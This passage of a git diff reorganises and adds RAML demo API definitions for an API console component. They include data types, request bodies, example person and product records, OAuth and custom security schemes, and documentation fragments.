number + floatFormat: + type: number + format: float + description: float format number + doubleFormat: + type: number + format: double + description: double format number + floatWithMultiple: + type: number + format: float + multipleOf: 1.1 + description: float format number with multiple of. + integerFormat: + type: integer + description: An integer + integerMinMax: + type: integer + minimum: 0 + maximum: 100 + multipleOf: 5 + description: Min, max, and multiple of. + integerUnionString: + type: integer | string + description: Union with string + integerUnionNil: + type: integer | nil + description: Required but nillable + notRequired: + type: integer + required: false + description: Required but nillable + integerDefault: + type: integer + default: 12 + description: Integer with default "12" + floatDefault: + type: number + format: float + multipleOf: 1.1 + default: 2.2 + description: float with default if "2.2" + integerArray: + type: integer[] + description: A list of integers +/any-body: + post: + body: + application/json: + type: any + description: Whatever you want to put there, just do it. + example: "An example of Any body" + displayName: This is ANY + default: "(empty)" +/a-file-body: + post: + body: + image/*: + type: file + fileTypes: ['image/jpeg', 'image/png'] + maxLength: 307200 + displayName: The image + description: Allows to upload any image. +/a-scalar-body: + post: + body: + text/plain: + type: string + description: Generally some fine description + default: "To be updated soon" + minLength: 3 + maxLength: 1024 +/an-union-body: + post: + body: + application/json: + type: AppPerson|Product + description: Either product or a person. +/raml-examples: + post: + body: + application/json: + type: object + examples: !include examples/person.raml +/date-formats: + post: + body: + application/json: + properties: + birthday: + type: date-only # no implications about time or offset + # example: 2015-05-23 + lunchtime: + type: time-only # no implications about date or offset + # example: 12:30:00 + fireworks: + type: datetime-only + # example: 2015-07-04T21:00:00 + created: + type: datetime + # example: 2016-02-28T16:41:41.090Z + format: rfc3339 + If-Modified-Since: + type: datetime + # example: Sun, 28 Feb 2016 16:41:41 GMT + format: rfc2616 + # rfc3339 or rfc2616 +/body-types: + /json: + post: + body: + application/json: + type: AppPerson + /xml: + post: + body: + application/xml: + type: AppPerson + /form: + post: + body: + application/x-www-form-urlencoded: + type: AppPerson + /multi-parts: + post: + body: + multipart/form-data: + type: AppPerson +/generated-example: + post: + body: + application/json: + type: DemoPerson + application/xml: + type: DemoPerson + application/x-www-form-urlencoded: + type: DemoPerson + put: + body: + application/json: + type: DemoPerson[] + application/xml: + type: DemoPerson[] + application/x-www-form-urlencoded: + type: DemoPerson[] +/demo-types: + post: + body: + application/json: + type: DemoTypes.Pet + responses: + 200: + body: + application/json: + type: DemoTypes.Dog | DemoTypes.Cat +/raml-and-union: + post: + body: + application/json: + type: [DemoTypes.Mamal, DemoTypes.Pet] +/raml-and-or-union: + post: + body: + application/json: + type: [DemoTypes.Mamal, DemoTypes.Pet | DemoTypes.Cat] +/body-with-enums: + post: + body: + application/json: + type: object + properties: + anEnum: + type: string + default: Some value + description: A combo of all string properties + displayName: Combo (string) + enum: + - value 1 + - value 2 + - value 3 + - value 4 + - value 5 + - value 6 + - value 7 + - value 8 + - value 9 + - value 10 diff --git a/demo/demo-api/examples/e400.xml b/demo/apis/demo-api/examples/e400.xml similarity index 100% rename from demo/demo-api/examples/e400.xml rename to demo/apis/demo-api/examples/e400.xml diff --git a/demo/demo-api/examples/e401.xml b/demo/apis/demo-api/examples/e401.xml similarity index 100% rename from demo/demo-api/examples/e401.xml rename to demo/apis/demo-api/examples/e401.xml diff --git a/demo/demo-api/examples/e404.xml b/demo/apis/demo-api/examples/e404.xml similarity index 100% rename from demo/demo-api/examples/e404.xml rename to demo/apis/demo-api/examples/e404.xml diff --git a/demo/demo-api/examples/image.xml b/demo/apis/demo-api/examples/image.xml similarity index 100% rename from demo/demo-api/examples/image.xml rename to demo/apis/demo-api/examples/image.xml diff --git a/demo/demo-api/examples/messages-example.json b/demo/apis/demo-api/examples/messages-example.json similarity index 100% rename from demo/demo-api/examples/messages-example.json rename to demo/apis/demo-api/examples/messages-example.json diff --git a/demo/demo-api/examples/messages-sent-example.json b/demo/apis/demo-api/examples/messages-sent-example.json similarity index 100% rename from demo/demo-api/examples/messages-sent-example.json rename to demo/apis/demo-api/examples/messages-sent-example.json diff --git a/demo/demo-api/examples/person.json b/demo/apis/demo-api/examples/person.json similarity index 100% rename from demo/demo-api/examples/person.json rename to demo/apis/demo-api/examples/person.json diff --git a/demo/apis/demo-api/examples/person.raml b/demo/apis/demo-api/examples/person.raml new file mode 100644 index 0000000..d0a0bb1 --- /dev/null +++ b/demo/apis/demo-api/examples/person.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 NamedExample + +Person exmaple: + id: R34fg663H9KW9MMSKISI + name: Pawel Psztyc + birthday: 1983-10-20 + gender: male + url: https://domain.com/profile/pawel.psztyc + image: + url: https://domain.com/profile/pawel.psztyc/image, + thumb: https://domain.com/profile/pawel.psztyc/image/thumb + tagline: Some text about me. + language: en_GB + etag: W\\244m4n5kj3gbn2nj4k4n4 diff --git a/demo/demo-api/examples/person.url.encoded b/demo/apis/demo-api/examples/person.url.encoded similarity index 100% rename from demo/demo-api/examples/person.url.encoded rename to demo/apis/demo-api/examples/person.url.encoded diff --git a/demo/demo-api/examples/person.xml b/demo/apis/demo-api/examples/person.xml similarity index 100% rename from demo/demo-api/examples/person.xml rename to demo/apis/demo-api/examples/person.xml diff --git a/demo/demo-api/examples/product.xml b/demo/apis/demo-api/examples/product.xml similarity index 81% rename from demo/demo-api/examples/product.xml rename to demo/apis/demo-api/examples/product.xml index 2063f1d..ce2947a 100644 --- a/demo/demo-api/examples/product.xml +++ b/demo/apis/demo-api/examples/product.xml @@ -1,7 +1,7 @@ f2f7933a-a9ce-11e6-80f5-76304dec7eb7 - Acme product - mentol flavor, 500 ml. + Acme product - menthol flavor, 500 ml. 500 ml 042100005264 diff --git a/demo/demo-api/library.raml b/demo/apis/demo-api/library.raml similarity index 100% rename from demo/demo-api/library.raml rename to demo/apis/demo-api/library.raml diff --git a/demo/apis/demo-api/library/demo-types.raml b/demo/apis/demo-api/library/demo-types.raml new file mode 100644 index 0000000..b47c3e9 --- /dev/null +++ b/demo/apis/demo-api/library/demo-types.raml @@ -0,0 +1,44 @@ +#%RAML 1.0 Library + +types: + AppPeson: !include ../resourceTypes/app-person.raml + BaseResource: + description: | + API resource. + type: object + properties: + etag: + type: string + description: | + ETag of this resource for caching purposes. + __This property will be ignored when creating an object.__ + Pet: + type: BaseResource + properties: + type: + type: string + description: The object type for child classes. + name: + type: string + description: The name of the pet. + sound: + type: string + description: The sound it makes. + discriminatorValue: type + Dog: + type: Pet + properties: + type: + default: Dog + sound: + default: Woof + friendly: boolean + Cat: + type: Pet + properties: + type: + default: Cat + Mamal: + type: object + properties: + birthDate: date-only diff --git a/demo/apis/demo-api/resourceTypes/app-person.raml b/demo/apis/demo-api/resourceTypes/app-person.raml new file mode 100644 index 0000000..250793b --- /dev/null +++ b/demo/apis/demo-api/resourceTypes/app-person.raml @@ -0,0 +1,111 @@ +#%RAML 1.0 DataType + +displayName: A person resource +description: | + An object representing a person in the API. + This object will be used in all methods returning a Person or list of people. + +type: !include resource.raml +example: + id: "R34fg663H9KW9MMSKISIhTs1dR7Hss7e" + name: "Pawel Psztyc" + birthday: "1983-10-20" + gender: male + url: "https://domain.com/profile/pawel.psztyc" + image: + url: https://domain.com/profile/pawel.psztyc/image + thumb: https://domain.com/profile/pawel.psztyc/image/thumb + tagline: Some text about me. + language: en_GB + etag: "W\\244m4n5kj3gbn2nj4k4n4" + favouriteNumber: 10 + favouriteTime: 10:29:52 + nillable: null + +properties: + id: + description: | + A unique identifier of a person. + + It is a 32 bit string containing alphanumeric characters. + minLength: 32 + maxLength: 32 + pattern: "[A-Za-z0-9]*" + displayName: ID + name: + required: true + example: John Smith + description: Person full name. The input will be rejected if this property is not set while creating new object. + type: string + pattern: "[0-9a-zA-Z ]+" + displayName: Person name + birthday: + type: date-only + description: The person's date of birth, represented as YYYY-MM-DD. + displayName: Person birthday + favouriteTime: + type: time-only + description: The person's favourite time of day + displayName: Some example + gender?: + type: string + description: | + The person's gender. Possible values includes, but are not limited to, the following values: + * "male" - Male gender. + * "female" - Female gender. + * "other" - Other. + enum: [male, female, other] + examples: + Women: female + Man: male + Elmo: other + displayName: Gender + favouriteNumber: + type: number + minimum: 0 + maximum: 9999 + multipleOf: 5 + required: true + displayName: Favourite number + example: 25 + url: + type: string + description: The URL of this person's profile. + displayName: Profile URL + image: !include image.raml + tagline: + type: string + description: The brief description (tagline) of this person. + displayName: Tagline + language: + type: string + description: The user's preferred language for rendering. + displayName: Language + newsletter: + type: boolean + required: false + default: false + displayName: Newsletter consent + age: + type: integer + required: false + displayName: Age + description: | + Very unpractical property to have in a data store. + created: + type: datetime-only + required: false + example: 2018-04-09T19:10:15 + fietype: + required: false + type: file + fileTypes: + - image/png + - image/jpeg + - image/jpg + - image/gif + minLength: 10 + maxLength: 1000 + nillable: + type: string | nil + default: null diff --git a/demo/demo-api/resourceTypes/example-types.raml b/demo/apis/demo-api/resourceTypes/example-types.raml similarity index 100% rename from demo/demo-api/resourceTypes/example-types.raml rename to demo/apis/demo-api/resourceTypes/example-types.raml diff --git a/demo/demo-api/resourceTypes/image.raml b/demo/apis/demo-api/resourceTypes/image.raml similarity index 100% rename from demo/demo-api/resourceTypes/image.raml rename to demo/apis/demo-api/resourceTypes/image.raml diff --git a/demo/demo-api/resourceTypes/message-sent-type.raml b/demo/apis/demo-api/resourceTypes/message-sent-type.raml similarity index 100% rename from demo/demo-api/resourceTypes/message-sent-type.raml rename to demo/apis/demo-api/resourceTypes/message-sent-type.raml diff --git a/demo/demo-api/resourceTypes/message-type.raml b/demo/apis/demo-api/resourceTypes/message-type.raml similarity index 100% rename from demo/demo-api/resourceTypes/message-type.raml rename to demo/apis/demo-api/resourceTypes/message-type.raml diff --git a/demo/demo-api/resourceTypes/product.raml b/demo/apis/demo-api/resourceTypes/product.raml similarity index 96% rename from demo/demo-api/resourceTypes/product.raml rename to demo/apis/demo-api/resourceTypes/product.raml index 414dfd9..17ec15d 100644 --- a/demo/demo-api/resourceTypes/product.raml +++ b/demo/apis/demo-api/resourceTypes/product.raml @@ -13,7 +13,7 @@ properties: name: type: string description: Product name - example: Acme product - mentol flavor, 500 ml. + example: Acme product - menthol flavor, 500 ml. required: true quantity: type: number diff --git a/demo/demo-api/resourceTypes/resource.raml b/demo/apis/demo-api/resourceTypes/resource.raml similarity index 100% rename from demo/demo-api/resourceTypes/resource.raml rename to demo/apis/demo-api/resourceTypes/resource.raml diff --git a/demo/demo-api/schemas/error-response.xsd b/demo/apis/demo-api/schemas/error-response.xsd similarity index 100% rename from demo/demo-api/schemas/error-response.xsd rename to demo/apis/demo-api/schemas/error-response.xsd diff --git a/demo/demo-api/schemas/image.xsd b/demo/apis/demo-api/schemas/image.xsd similarity index 100% rename from demo/demo-api/schemas/image.xsd rename to demo/apis/demo-api/schemas/image.xsd diff --git a/demo/demo-api/schemas/person.json b/demo/apis/demo-api/schemas/person.json similarity index 100% rename from demo/demo-api/schemas/person.json rename to demo/apis/demo-api/schemas/person.json diff --git a/demo/demo-api/schemas/person.xsd b/demo/apis/demo-api/schemas/person.xsd similarity index 100% rename from demo/demo-api/schemas/person.xsd rename to demo/apis/demo-api/schemas/person.xsd diff --git a/demo/demo-api/schemas/product.xsd b/demo/apis/demo-api/schemas/product.xsd similarity index 100% rename from demo/demo-api/schemas/product.xsd rename to demo/apis/demo-api/schemas/product.xsd diff --git a/demo/demo-api/securitySchemes/basic.raml b/demo/apis/demo-api/securitySchemes/basic.raml similarity index 100% rename from demo/demo-api/securitySchemes/basic.raml rename to demo/apis/demo-api/securitySchemes/basic.raml diff --git a/demo/apis/demo-api/securitySchemes/oauth-2-custom-settings.raml b/demo/apis/demo-api/securitySchemes/oauth-2-custom-settings.raml new file mode 100644 index 0000000..cc0da28 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth-2-custom-settings.raml @@ -0,0 +1,143 @@ +#%RAML 1.0 AnnotationTypeDeclaration +displayName: OAuth 2.0 custom settings +description: | + OAuth 2.0 allows to extend the specification with custom access token types, + endpoint parameters, grant types or response types. + This annotation allows you to annotate the `settings` property of OAuth 2.0 + security scheme type to inform applications about additional settings. + ## Use case + Let's say a authorization server requires to send a `resource` query parameter + with the authorization request. The `resource` parameter can be any string. + Currently it is impossible to define this property in RAML file. + Similar if the code exchange request requires to put the `resource` parameter + into the request body. + This annotation allows you to define this parameter with the RAML definition + and place the parameter in the right request. + ## Annotation Target + The [annotation target](https://github.com/raml-org/raml-spec/blob/master/versions/raml-10/raml-10.md#annotation-targets) + for those annotations is `SecuritySchemeSettings`. + You can only apply it to Security Scheme `settings` property. + ## Example + ```yaml + annotationTypes: + customSettings: !include oauth-2-custom-settings.raml + securitySchemes: + oauth2: + type: OAuth 2.0 + describedBy: + headers: + Authorization: + example: "Bearer token" + settings: + (customSettings): + authorizationGrants: [custom_grant] + ignoreDefaultGrants: + authorizationSettings: + queryParameters: + resource: + type: string + required: true + description: | + A resource ID that defines a domain of authorization. + headers: + x-auth-resource: + type: string + required: false + accessTokenSettings: + body: + resource: + type: string + required: true + description: | + A resource ID that defines a domain of authorization. + accessTokenUri: https://auth.domain.com/authorize + authorizationUri: https://auth.domain.com/token + authorizationGrants: [implicit] + scopes: profile + ``` + ## API console + This annotation is recognized and respected by API console. +allowedTargets: [ SecuritySchemeSettings ] +properties: + authorizationSettings: + description: | + Settings to be applied to the `authorizationUri` GET request. + Define any query parameters or headers that are required by your OAuth 2.0 + authorization server implementation. + This settings can be applied only to `token` and `code` requests + type: object + displayName: Authorization settings + required: false + properties: + queryParameters: + displayName: Authorization query parameters + description: | + Query parameters to be applied to the `authorizationUri`. + Use the same notation as RAML's `queryParameters`. + If you define a parameter that is already defined in OAuth 2.0 specification + (RFC6749) it should be ignored by the processor. + type: object + required: false + properties: + /a-zA-Z0-9\-\_/*: + type: object + required: false + accessTokenSettings: + displayName: Access token settings + description: | + Settings to be applied to the token endpoint POST request. + Define query parameters, headers or custom body paramaeters that should + be included into the request. + Note, as per RFC6749, the request content type is `application/x-www-form-urlencoded` + and the processor has to always assume this content type. + type: object + required: false + properties: + queryParameters: + displayName: Token query parameters + description: | + Query parameters to be applied to the `accessTokenUri`. + Use the same notation as RAML's `queryParameters`. + OAuth 2.0 specification does not specify any query parameters for this + type of request. + type: object + required: false + properties: + /a-zA-Z0-9\-\_/*: + type: object + required: false + headers: + displayName: Token request headers + description: | + Headers to be set on the token request. + Use the same notation as RAML's `headers`. + type: object + required: false + properties: + /a-zA-Z0-9\-\_/*: + type: object + required: false + body: + displayName: Token body parameters + description: | + Body parameters to be applied to the `accessTokenUri`. + Properties will be applied to the default set of OAuth 2.0 token request + parameters. + If you define a parameter that is already defined in OAuth 2.0 specification + (RFC6749) it should be ignored by the processor. + type: object + required: false + authorizationGrants: + type: string[] + displayName: Custom authorization grants + required: false + description: | + List of custom authorization granst supported by your OAuth 2.0 server + ignoreDefaultGrants: + type: nil + required: false + description: | + If set, the processor should not use any of the `authorizationGrants` + properties defined in the `settings` and should be replaced by + `authorizationGrants` defined in this annotation. + This can be used only if this annotation `authorizationGrants` is set. diff --git a/demo/apis/demo-api/securitySchemes/oauth2-header-delivery.raml b/demo/apis/demo-api/securitySchemes/oauth2-header-delivery.raml new file mode 100644 index 0000000..e4aaffd --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth2-header-delivery.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: Token delivery described as query parameter only +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] +describedBy: + headers: + token: + type: string + description: Apply access token here. diff --git a/demo/apis/demo-api/securitySchemes/oauth2-no-delivery.raml b/demo/apis/demo-api/securitySchemes/oauth2-no-delivery.raml new file mode 100644 index 0000000..ebc3f6d --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth2-no-delivery.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: Token delivery described as query parameter only +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] diff --git a/demo/apis/demo-api/securitySchemes/oauth2-no-grants.raml b/demo/apis/demo-api/securitySchemes/oauth2-no-grants.raml new file mode 100644 index 0000000..b3abf1b --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth2-no-grants.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: This OAuth2 has no auth grants! +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + scopes: [profile, email] +describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. diff --git a/demo/apis/demo-api/securitySchemes/oauth2-pkce.raml b/demo/apis/demo-api/securitySchemes/oauth2-pkce.raml new file mode 100644 index 0000000..4947750 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth2-pkce.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: This OAuth2 has PKCE annotation +settings: + (pkce): true + accessTokenUri: https://token.com + authorizationUri: https://auth.com + scopes: [profile, email] +describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. diff --git a/demo/apis/demo-api/securitySchemes/oauth2-query-delivery.raml b/demo/apis/demo-api/securitySchemes/oauth2-query-delivery.raml new file mode 100644 index 0000000..4a5b7e2 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth2-query-delivery.raml @@ -0,0 +1,13 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 2.0 +displayName: Token delivery described as query parameter only +settings: + accessTokenUri: https://token.com + authorizationUri: https://auth.com + authorizationGrants: authorization_code + scopes: [profile, email] +describedBy: + queryParameters: + access_token: + type: string + description: Apply access token here. diff --git a/demo/apis/demo-api/securitySchemes/oauth_1_0.raml b/demo/apis/demo-api/securitySchemes/oauth_1_0.raml new file mode 100644 index 0000000..9aa9493 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth_1_0.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred. +settings: + requestTokenUri: http://api.domain.com/oauth1/request_token + authorizationUri: http://api.domain.com/oauth1/authorize + tokenCredentialsUri: http://api.domain.com/oauth1/access_token + signatures: [RSA-SHA1, HMAC-SHA1] diff --git a/demo/apis/demo-api/securitySchemes/oauth_1_0_no-settings.raml b/demo/apis/demo-api/securitySchemes/oauth_1_0_no-settings.raml new file mode 100644 index 0000000..6cc6ffc --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth_1_0_no-settings.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: This has no settings. diff --git a/demo/oauth1-fragment/oauth1-fragment.raml b/demo/apis/demo-api/securitySchemes/oauth_1_0_no-signature.raml similarity index 100% rename from demo/oauth1-fragment/oauth1-fragment.raml rename to demo/apis/demo-api/securitySchemes/oauth_1_0_no-signature.raml diff --git a/demo/apis/demo-api/securitySchemes/oauth_1_0_signature.raml b/demo/apis/demo-api/securitySchemes/oauth_1_0_signature.raml new file mode 100644 index 0000000..b9d59d5 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/oauth_1_0_signature.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 SecurityScheme +type: OAuth 1.0 +description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred. +settings: + requestTokenUri: http://api.domain.com/oauth1/request_token + authorizationUri: http://api.domain.com/oauth1/authorize + tokenCredentialsUri: http://api.domain.com/oauth1/access_token + signatures: [RSA-SHA1] diff --git a/demo/demo-api/securitySchemes/oauth_2_0.raml b/demo/apis/demo-api/securitySchemes/oauth_2_0.raml similarity index 100% rename from demo/demo-api/securitySchemes/oauth_2_0.raml rename to demo/apis/demo-api/securitySchemes/oauth_2_0.raml diff --git a/demo/apis/demo-api/securitySchemes/passthrough-querystring.raml b/demo/apis/demo-api/securitySchemes/passthrough-querystring.raml new file mode 100644 index 0000000..0c26c60 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/passthrough-querystring.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 SecurityScheme + +description: | + This API supports Pass Through Authentication. +type: Pass Through +describedBy: + queryString: + type: object + properties: + queryStringProperty1: + type: number + required: true + queryStringProperty2: + description: Random string + type: string + required: false diff --git a/demo/apis/demo-api/securitySchemes/passthrough.raml b/demo/apis/demo-api/securitySchemes/passthrough.raml new file mode 100644 index 0000000..383896c --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/passthrough.raml @@ -0,0 +1,24 @@ +#%RAML 1.0 SecurityScheme + +description: | + This API supports Pass Through Authentication. +type: Pass Through +describedBy: + queryParameters: + query: + type: string + example: my-value + description: | + This demonstrates how Pass Through authentication + works with `api-authorization-method` component. + debugTokenParam: + description: Select one of available values to run the request in the debug mode with selected level. + enum: [Info, Log, Warning, Error, Critical] + type: string + required: false + headers: + api_key: + type: string + pattern: "[0-9a-zA-Z\\.-]+" + description: | + This headers has pattern included in the definition. diff --git a/demo/apis/demo-api/securitySchemes/x-custom copy.raml b/demo/apis/demo-api/securitySchemes/x-custom copy.raml new file mode 100644 index 0000000..b76322d --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/x-custom copy.raml @@ -0,0 +1,33 @@ +#%RAML 1.0 SecurityScheme + +description: | + A custom security scheme for authenticating requests. + It allows to set `SpecialToken` header from the authorization panel. + The same header should be rendered in the headers editor with console using + RAML JS parser. + With `AMF` console this is separated information. + This scheme also sets `debugToken` and `booleanToken` query parameters. + Both are enums, however `booleanToken` can only have `true` and `false` + values. +type: x-my-custom +describedBy: + headers: + SpecialTokenHeader: + description: | + Used to send a custom token. + type: string + queryParameters: + debugTokenParam: + description: Select one of available values to run the request in the debug mode with selected level. + enum: [Info, Log, Warning, Error, Critical] + type: string + required: false + booleanTokenParam: + description: Just to test boolean values. + type: boolean + default: true + responses: + 401: + description: | + Bad token. + 403: diff --git a/demo/demo-api/securitySchemes/x-custom.raml b/demo/apis/demo-api/securitySchemes/x-custom.raml similarity index 100% rename from demo/demo-api/securitySchemes/x-custom.raml rename to demo/apis/demo-api/securitySchemes/x-custom.raml diff --git a/demo/apis/demo-api/securitySchemes/x-other.raml b/demo/apis/demo-api/securitySchemes/x-other.raml new file mode 100644 index 0000000..45e4cb5 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/x-other.raml @@ -0,0 +1,29 @@ +#%RAML 1.0 SecurityScheme + +description: | + Other custom security method for authorization. +type: x-custom +describedBy: + queryParameters: + apiUserIdParam: + description: | + Your api user ID. Some imaginary value. + type: number + required: true + apiNonceParam: + description: Random string + type: string + responses: + 401: + description: | + Bad token autorization. + body: + application/json: + type: object + properties: + error: + type: boolean + description: Always true. Indicates that the response is errord. + message: + type: string + description: Human readable message describing the error. diff --git a/demo/apis/demo-api/securitySchemes/x-query-string.raml b/demo/apis/demo-api/securitySchemes/x-query-string.raml new file mode 100644 index 0000000..438b230 --- /dev/null +++ b/demo/apis/demo-api/securitySchemes/x-query-string.raml @@ -0,0 +1,16 @@ +#%RAML 1.0 SecurityScheme + +description: | + Tests for queryString RAML's property +type: x-custom +describedBy: + queryString: + type: object + properties: + queryStringProperty1: + type: number + required: true + queryStringProperty2: + description: Random string + type: string + required: false diff --git a/demo/demo-api/traits/adminable.raml b/demo/apis/demo-api/traits/adminable.raml similarity index 100% rename from demo/demo-api/traits/adminable.raml rename to demo/apis/demo-api/traits/adminable.raml diff --git a/demo/demo-api/traits/pagination.raml b/demo/apis/demo-api/traits/pagination.raml similarity index 100% rename from demo/demo-api/traits/pagination.raml rename to demo/apis/demo-api/traits/pagination.raml diff --git a/demo/apis/demo-api/traits/rate-limited.raml b/demo/apis/demo-api/traits/rate-limited.raml new file mode 100644 index 0000000..7d06304 --- /dev/null +++ b/demo/apis/demo-api/traits/rate-limited.raml @@ -0,0 +1,9 @@ +#%RAML 1.0 Trait + +# displayName: RateLimited +usage: TO be used when the API has a rate limit on the API gateway. +headers: + x-rate-client-id: + description: he client ID to use for the rate limit. + example: 5757gh76 + required: true diff --git a/demo/demo-api/resourceTypes/app-person.raml b/demo/apis/demo-api/types/DemoPerson.raml similarity index 54% rename from demo/demo-api/resourceTypes/app-person.raml rename to demo/apis/demo-api/types/DemoPerson.raml index b401640..e52dc43 100644 --- a/demo/demo-api/resourceTypes/app-person.raml +++ b/demo/apis/demo-api/types/DemoPerson.raml @@ -1,35 +1,33 @@ #%RAML 1.0 DataType -displayName: A person resource +displayName: Person description: | - An object representing a person in the API. - This object will be used in all methods returning a Person or list of people. + A person but without examples defined inline. + +type: object -type: !include resource.raml -example: - id: "R34fg663H9KW9MMSKISI" - name: "Pawel Psztyc" - birthday: "1983-10-20" - gender: male - url: "https://domain.com/profile/pawel.psztyc" - image: - url: https://domain.com/profile/pawel.psztyc/image - thumb: https://domain.com/profile/pawel.psztyc/image/thumb - tagline: Some text about me. - language: en_GB - etag: "W\\244m4n5kj3gbn2nj4k4n4" properties: id: + xml: + attribute: true description: A unique identifier for a person. It is a 32 bit string containing alphanumeric characters. + type: string + example: ad3fd6d4-af89-11eb-8529-0242ac130003 name: required: true example: John Smith description: Person full name. The input will be rejected if this property is not set while creating new object. type: string pattern: "[0-9a-zA-Z ]+" + xml: + attribute: true + name: fullname birthday: - type: string + type: date-only description: The person's date of birth, represented as YYYY-MM-DD. + examples: + Example 1: 1983-10-20 + Example 2: 1994-08-29 gender?: type: string description: | @@ -37,13 +35,33 @@ properties: * "male" - Male gender. * "female" - Female gender. * "other" - Other. + example: male url: type: string description: The URL of this person's profile. - image: !include image.raml + image: + type: !include ../resourceTypes/image.raml + xml: + wrapped: true tagline: type: string description: The brief description (tagline) of this person. language: type: string description: The user's preferred language for rendering. + example: "Polish" + tags: + description: Tags added to the person. + type: array + items: + properties: + name: + type: string + description: The name of the tag + example: Manager + id: + type: string + description: Tag's identifier. + example: ad3fda8a-af89-11eb-8529-0242ac130003 + xml: + wrapped: false diff --git a/demo/apis/demo-document/demo-document.raml b/demo/apis/demo-document/demo-document.raml new file mode 100644 index 0000000..04c515c --- /dev/null +++ b/demo/apis/demo-document/demo-document.raml @@ -0,0 +1,21 @@ +#%RAML 1.0 DocumentationItem +title: About +content: | + This is test document. + + ## Example + Let's say you want to generate a random number in the request. So the property + value like: + ``` + http://www.domain.com/?time=${now} + ``` + can produce: + ``` + http://www.domain.com/?time=12312312312 + ``` + ## Build-in magic variables. + | Variable | Description | Example | + | --- | --- | --- | + | `${random}` | Will generate random number in range from 0 to Number.MAX_SAFE_INTEGER | 9007199254740991 | + | `${random:NUMBER}` | A variation of `${random}` where the result will be remembered and can be used in other property. If the same `NUMBER` occurs again then previously generated value will be used. | 7199254740 | + | `${now}` | Inserts current epoch time | 12312312312 | diff --git a/demo/documentation-fragment/documentation-fragment.raml b/demo/apis/documentation-fragment/documentation-fragment.raml similarity index 100% rename from demo/documentation-fragment/documentation-fragment.raml rename to demo/apis/documentation-fragment/documentation-fragment.raml diff --git a/demo/apis/documented-api/documented-api.raml b/demo/apis/documented-api/documented-api.raml new file mode 100644 index 0000000..2fe02b4 --- /dev/null +++ b/demo/apis/documented-api/documented-api.raml @@ -0,0 +1,29 @@ +#%RAML 1.0 +title: My super cool, example API +version: v1 +baseUri: http://api.domain.com/ + +documentation: + - title: Read this! + content: | + # This is an example API spec + The API doesn't exists in the real world therefore calls made to any endpoint will always fail. + If you'd like to perform actual request and see the response try GitHub API (which doesn't require user authentication in some endpoints) or other APIs. + Note that you may need a Client ID or valid authorization token to perform a call to some APIs that are secured by the OAuth 2 protocol. + + Test of links: + - [relative link](../demo-document/demo-document.raml) + - [absolute link](https://mulesoft.com) + + Thank you for testing the API console. Your feedback is welcome. Email us: arc@mulesoft.com + - !include ../demo-document/demo-document.raml + - title: Test docs + content: | + # A test documentation. + This text was created by ARC's RAML editor. + You probably see this because you are testing ARC's web components and this component + is responsible for displaying a documentation from the RAML definition. + Play around with the element and use it in your project. + Please, note the licensing information available in every ARC component. + If you have any question email me: arc@mulesoft.com + Or slack me (internally only): Pawel Psztyc (P3) diff --git a/demo/apis/enum-test/enum-test.raml b/demo/apis/enum-test/enum-test.raml new file mode 100755 index 0000000..1b3a5c6 --- /dev/null +++ b/demo/apis/enum-test/enum-test.raml @@ -0,0 +1,64 @@ +#%RAML 1.0 +title: Australian Trade Mark Search API +description: 'Australian Trade Mark Search API.' +version: v1 + +types: + TrademarkApiAdvancedSearch: + type: object + properties: + Working1?: + type: TrademarkPierreWorking1Type + Working2?: + type: TrademarkPierreWorking2Type + Working3?: + type: TrademarkPierreWorking3Type + NotWorking?: + type: TrademarkPierreNotWorkingType + TrademarkPierreWorking1Type: + type: object + properties: + foo1: + type: string + enum: + - NON_USE + - INTERNATIONAL_REGISTRATION + - REGULATED + - SERIES + TrademarkPierreWorking2Type: + type: array + items: + type: object + properties: + foo2: + type: string + enum: + - NON_USE + - INTERNATIONAL_REGISTRATION + - REGULATED + - SERIES + TrademarkPierreWorking3Type: + type: string + enum: + - NON_USE + - INTERNATIONAL_REGISTRATION + - REGULATED + - SERIES + TrademarkPierreNotWorkingType: + type: array + items: + type: string + enum: + - NON_USE + - INTERNATIONAL_REGISTRATION + - REGULATED + - SERIES + +/testEndpoint: + post: + displayName: Paged Advanced Search + description: Returns a pageable list of Trade Marks with their details. + body: + application/json: + description: Trade Mark Advanced Search payload + type: TrademarkApiAdvancedSearch diff --git a/demo/example-fragment/example-fragment.raml b/demo/apis/example-fragment/example-fragment.raml similarity index 100% rename from demo/example-fragment/example-fragment.raml rename to demo/apis/example-fragment/example-fragment.raml diff --git a/demo/apis/examples-api/Address-1.0.raml b/demo/apis/examples-api/Address-1.0.raml new file mode 100755 index 0000000..b40ffc9 --- /dev/null +++ 